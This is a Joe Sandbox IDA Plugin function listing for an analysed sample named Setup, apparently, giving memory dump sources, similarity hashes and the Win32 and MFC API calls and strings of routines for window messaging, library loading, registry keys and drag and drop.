Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: EmptyRect$H_prolog3
String ID: False$True
API String ID: 3752103406-1895882422
Opcode ID: 0544056194468aa02ee88c569fd737f981f9b82a726e00a9f22633621ecbc8dc
Instruction ID: 335e5eaa288b6f7d10564677336dc30ea1dd7d2780a94cfa5016fe3cf4353042
Opcode Fuzzy Hash: 0544056194468aa02ee88c569fd737f981f9b82a726e00a9f22633621ecbc8dc
Instruction Fuzzy Hash: 1C61F3B09053419FCB0ADF28D485BA9BBE8BF19304F1981BEE91D9F396CB741604CB65

Function 00B72DAA Relevance: 10.6, APIs: 7, Instructions: 127windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00B72DD7
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B72DFB
UpdateWindow.USER32(?), ref: 00B72E15
SendMessageW.USER32(?,00000121,?,?), ref: 00B72E38
SendMessageW.USER32(?,0000036A,00000000,?), ref: 00B72E4F
UpdateWindow.USER32(?), ref: 00B72EA0
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B72EE9

Part of subcall function 00B7589D: GetWindowLongW.USER32(?,000000F0), ref: 00B758AA

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 8e7e450ed6913c92a6509773f5110b7c02d217e4b581e0a874c5227a780fd76b
Instruction ID: bed5b2858ff812f1a8056961359e30ee1b8ee25c4a3af894cbfdee47259f3512
Opcode Fuzzy Hash: 8e7e450ed6913c92a6509773f5110b7c02d217e4b581e0a874c5227a780fd76b
Instruction Fuzzy Hash: AC418C31B00745BBEB259FA4CD89B6EBBF4FF10710F1480A9E929AA1D1D7B49E40DB40

Function 00BF0CC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BF0CC7
CopyRect.USER32(?,?), ref: 00BF0D73
IsRectEmpty.USER32(?), ref: 00BF0D8B
IsRectEmpty.USER32(?), ref: 00BF0DA3
IsRectEmpty.USER32(?), ref: 00BF0DB8

Part of subcall function 00B888EB: __EH_prolog3.LIBCMT ref: 00B888F2
Part of subcall function 00B888EB: LoadCursorW.USER32(00000000,00007F00), ref: 00B88916
Part of subcall function 00B888EB: GetClassInfoW.USER32(?,?,?), ref: 00B88957

Strings

Afx:ControlBar, xrefs: 00BF0D00

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Empty$ClassCopyCursorH_prolog3H_prolog3_InfoLoad
String ID: Afx:ControlBar
API String ID: 685170547-4244778371
Opcode ID: e64b45c8e18522fcdd4f69899aaa7cafc5648e15829df4458aafeccb6d9946aa
Instruction ID: 4c14420ba338961f588618e2bc6093174c9ac887bf084277eed91aa519e9d3df
Opcode Fuzzy Hash: e64b45c8e18522fcdd4f69899aaa7cafc5648e15829df4458aafeccb6d9946aa
Instruction Fuzzy Hash: D8412775A106099BCF01EFA4D884AEE7BF5BF49300F1444A9FD05BB252DB75AA09CB60

Function 00B6A80C Relevance: 10.6, APIs: 7, Instructions: 118windowthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6A761: GetParent.USER32(?), ref: 00B6A7BE
Part of subcall function 00B6A761: GetLastActivePopup.USER32(?), ref: 00B6A7D1
Part of subcall function 00B6A761: IsWindowEnabled.USER32(?), ref: 00B6A7E5
Part of subcall function 00B6A761: EnableWindow.USER32(?,00000000), ref: 00B6A7F8

EnableWindow.USER32(?,00000001), ref: 00B6A857
GetWindowThreadProcessId.USER32(?,?), ref: 00B6A86D
GetCurrentProcessId.KERNEL32 ref: 00B6A877
SendMessageW.USER32(?,00000376,00000000,00000000), ref: 00B6A88D
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00B6A910
MessageBoxW.USER32(?,?,?,00B68D10), ref: 00B6A932
EnableWindow.USER32(00000000,00000001), ref: 00B6A957

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Enable$MessageProcess$ActiveCurrentEnabledFileLastModuleNameParentPopupSendThread
String ID:
API String ID: 1924968399-0
Opcode ID: c63defcd1e4fbc71cdc83c8a83d90f095299939a28a286d883a8aa24fdc1ac4c
Instruction ID: 0a4155f67961b0ae0e34bf092f01c1e60f573772318d13b773e10d064ec5d8fc
Opcode Fuzzy Hash: c63defcd1e4fbc71cdc83c8a83d90f095299939a28a286d883a8aa24fdc1ac4c
Instruction Fuzzy Hash: 3D418E75A412199FDF209F24CD89BADB7F8FB14740F2005E9E519E7290D7748E818F62

Function 00B65D42 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 118libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Comctl32.dll,00000000,00000000,00000002,Comctl32.dll,00000040), ref: 00B65ED8

Part of subcall function 00B65C9E: GetProcAddress.KERNEL32(00000000,?), ref: 00B65CCC

GetModuleFileNameW.KERNEL32(?,?,00000105,?,00B74D95,00D136B8,00D13698,00000014,00B74FFB,InitCommonControlsEx,00D136B8,00000010,00B73BE5,00000008,00000000), ref: 00B65DF2
SetLastError.KERNEL32(0000006F,?,00B74D95,00D136B8,00D13698,00000014,00B74FFB,InitCommonControlsEx,00D136B8,00000010,00B73BE5,00000008,00000000,?,00B6EC30,00000008), ref: 00B65E06
GetLastError.KERNEL32(00000020), ref: 00B65E5D

Strings

GetModuleHandleExW, xrefs: 00B65DA5
Comctl32.dll, xrefs: 00B65EC4, 00B65EC9, 00B65ED7

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ErrorLast$AddressFileLibraryLoadModuleNameProc
String ID: Comctl32.dll$GetModuleHandleExW
API String ID: 3640817601-1171143627
Opcode ID: f1800dc999be5b533420aabc0570adeef87544de116cb7832be577d29c763f42
Instruction ID: 56d24e5cbf896fac7e978b4307ce3cce5abfb37d581058d6d8fdd6341ac3bed4
Opcode Fuzzy Hash: f1800dc999be5b533420aabc0570adeef87544de116cb7832be577d29c763f42
Instruction Fuzzy Hash: 2241C571A10B249ADF309B649D89BAD77F8EB44710F1006EAE508E2190DB7A8FD1CF61

Function 00B71C74 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll), ref: 00B71C9F
GetProcAddress.KERNEL32(00000000,GetTouchInputInfo), ref: 00B71CD4
GetProcAddress.KERNEL32(00000000,CloseTouchInputHandle), ref: 00B71CFC

Strings

GetTouchInputInfo, xrefs: 00B71CC6
user32.dll, xrefs: 00B71C95
CloseTouchInputHandle, xrefs: 00B71CEE

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CloseTouchInputHandle$GetTouchInputInfo$user32.dll
API String ID: 667068680-1853737257
Opcode ID: f03a9fb2943747cc4c505939116cafaab4487f0be2c066892fe8fcc53561b83d
Instruction ID: 1bb2a37412af2a840302e355b32a6857ef8d0b0a99af66ebfb7216aad63c3b4e
Opcode Fuzzy Hash: f03a9fb2943747cc4c505939116cafaab4487f0be2c066892fe8fcc53561b83d
Instruction Fuzzy Hash: 8F318E74621304AFCB349F2CAC55A6E3BE5EF5476070499BAE81AD7360DB708C029F70

Function 00BD359E Relevance: 10.6, APIs: 7, Instructions: 85COMMON

Download Yara Rule

APIs

LockWindowUpdate.USER32(00000000,00000000,00000000), ref: 00BD35DF
ValidateRect.USER32(?,00000000,0000E800), ref: 00BD361B
UpdateWindow.USER32(?), ref: 00BD3624
LockWindowUpdate.USER32(00000000), ref: 00BD3635
ValidateRect.USER32(?,00000000,0000E800), ref: 00BD3663
UpdateWindow.USER32(?), ref: 00BD366C
LockWindowUpdate.USER32(00000000), ref: 00BD367D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: UpdateWindow$Lock$RectValidate
String ID:
API String ID: 797752328-0
Opcode ID: e6ed647b7065b5dca4419d3ae04b56b82854dafb1fe2be54aba65368c5e8b2cf
Instruction ID: f19cc720adc80ea926b3db0812383f28df5ab8fd87865194cc1dd6bb035c1bdc
Opcode Fuzzy Hash: e6ed647b7065b5dca4419d3ae04b56b82854dafb1fe2be54aba65368c5e8b2cf
Instruction Fuzzy Hash: 3931AF71600605EFCB218F60D944B5AFBF4FF44B00F1541AAE84A933A1EB30DE00CB11

Function 00B8F622 Relevance: 10.6, APIs: 7, Instructions: 82windowthreadCOMMON

Download Yara Rule

APIs

SetFocus.USER32(00000000,00000000), ref: 00B8F640
GetParent.USER32(?), ref: 00B8F64E
GetWindowThreadProcessId.USER32(?,00000000), ref: 00B8F669
GetCurrentProcessId.KERNEL32 ref: 00B8F66F
GetActiveWindow.USER32 ref: 00B8F6CE
SendMessageW.USER32(?,00000006,00000001,00000000), ref: 00B8F6DF
SendMessageW.USER32(?,00000086,00000001,00000000), ref: 00B8F6F7

Part of subcall function 00B7532D: EnableWindow.USER32(?,00000000), ref: 00B7533E

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$MessageProcessSend$ActiveCurrentEnableFocusParentThread
String ID:
API String ID: 2169720751-0
Opcode ID: 3d50334644028dc0e1eea383c6d4b97e204a9d3523b63dd3ec07564168b0c40e
Instruction ID: 072e6d28611f207acd3cf506511823fd510c87fb0d3944bf598afb13d3615f91
Opcode Fuzzy Hash: 3d50334644028dc0e1eea383c6d4b97e204a9d3523b63dd3ec07564168b0c40e
Instruction Fuzzy Hash: 1521BCB2701642ABDB14AF64DD89BACBBA5FF14310F1402A5F502A71F0EBB0AD10CB91

Function 00B67609 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,software,00000000,0002001F,?,?,?), ref: 00B67644
RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 00B67670
RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 00B6769C
RegCloseKey.ADVAPI32(00000000), ref: 00B676AE
RegCloseKey.ADVAPI32(00000000), ref: 00B676BD

Part of subcall function 00B63EA0: GetModuleHandleW.KERNEL32(Advapi32.dll), ref: 00B63EB0
Part of subcall function 00B63EA0: GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 00B63EC0

Strings

software, xrefs: 00B6762D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CloseCreate$AddressHandleModuleOpenProc
String ID: software
API String ID: 550756860-2010147023
Opcode ID: 7d3fa646c1cd2a0ea4612ab7940648d92883fd91ba73c1d40aec903d3b9f2938
Instruction ID: 5516674ec551d7fdf6a064fb76ebd08777ff07a298936e15a9f1bb67a8e09857
Opcode Fuzzy Hash: 7d3fa646c1cd2a0ea4612ab7940648d92883fd91ba73c1d40aec903d3b9f2938
Instruction Fuzzy Hash: 1E213E72A45518BFDB15DF95DC44EBFBBFDEB44708F1040AAB901E2110DB349E409BA5

Function 00BE5434 Relevance: 10.6, APIs: 7, Instructions: 78COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BE543B

Part of subcall function 00BE5359: __EH_prolog3.LIBCMT ref: 00BE5360
Part of subcall function 00BE5359: GetProfileIntW.KERNEL32(windows,DragMinDist,00000002), ref: 00BE53B3
Part of subcall function 00BE5359: GetProfileIntW.KERNEL32(windows,DragDelay,000000C8), ref: 00BE53C9

CopyRect.USER32(?,?), ref: 00BE546E
GetCursorPos.USER32(?), ref: 00BE5480
SetRect.USER32(?,?,?,?,?), ref: 00BE5496
IsRectEmpty.USER32(?), ref: 00BE54B1
InflateRect.USER32(?,?,?), ref: 00BE54C3
DoDragDrop.OLE32(00000000,00000000,?,?), ref: 00BE550A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Profile$CopyCursorDragDropEmptyH_prolog3H_prolog3_Inflate
String ID:
API String ID: 1837043813-0
Opcode ID: b19b1ed9239d5d84269e511be8664edac48feac339fe5e7874386f58bb8811aa
Instruction ID: 87a6f78d6105db0ba77ac535dceb31a6bdcad200f35914e11c301ae1f3f23d28
Opcode Fuzzy Hash: b19b1ed9239d5d84269e511be8664edac48feac339fe5e7874386f58bb8811aa
Instruction Fuzzy Hash: 80314C75901A99AFCF11AFE1CC84AEEBBB5FF48304B004059F906AB354CB74AE55CB91

Function 00CBA95F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 00CBA9CA
api-ms-, xrefs: 00CBA9B6

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 2303cd5402dc4f64fae03decd63fcd82fab1a100505fdffbf533f5d8b29d81fb
Instruction ID: 53432f1e7b981480bfd403c966c810d7ac77d494f325e40c535a3cb893b935a9
Opcode Fuzzy Hash: 2303cd5402dc4f64fae03decd63fcd82fab1a100505fdffbf533f5d8b29d81fb
Instruction Fuzzy Hash: 3721EB32E41210BBCB3197659D45BDE775C9F017A0F250611ED96A72D1EB30EE04EAF2

Function 00B6ECE7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78libraryloaderthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00B76CCA: __EH_prolog3.LIBCMT ref: 00B76CD1

GetCurrentThreadId.KERNEL32 ref: 00B6ED0F
SetWindowsHookExW.USER32(00000005,00B73840,00000000,00000000), ref: 00B6ED1F
GetProcAddress.KERNEL32(00000000,HtmlHelpW), ref: 00B6ED82
FreeLibrary.KERNEL32(?,?,00B68B8C,?,?,?,00B6B315), ref: 00B6ED92

Strings

HtmlHelpW, xrefs: 00B6ED7C
hhctrl.ocx, xrefs: 00B6ED66

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
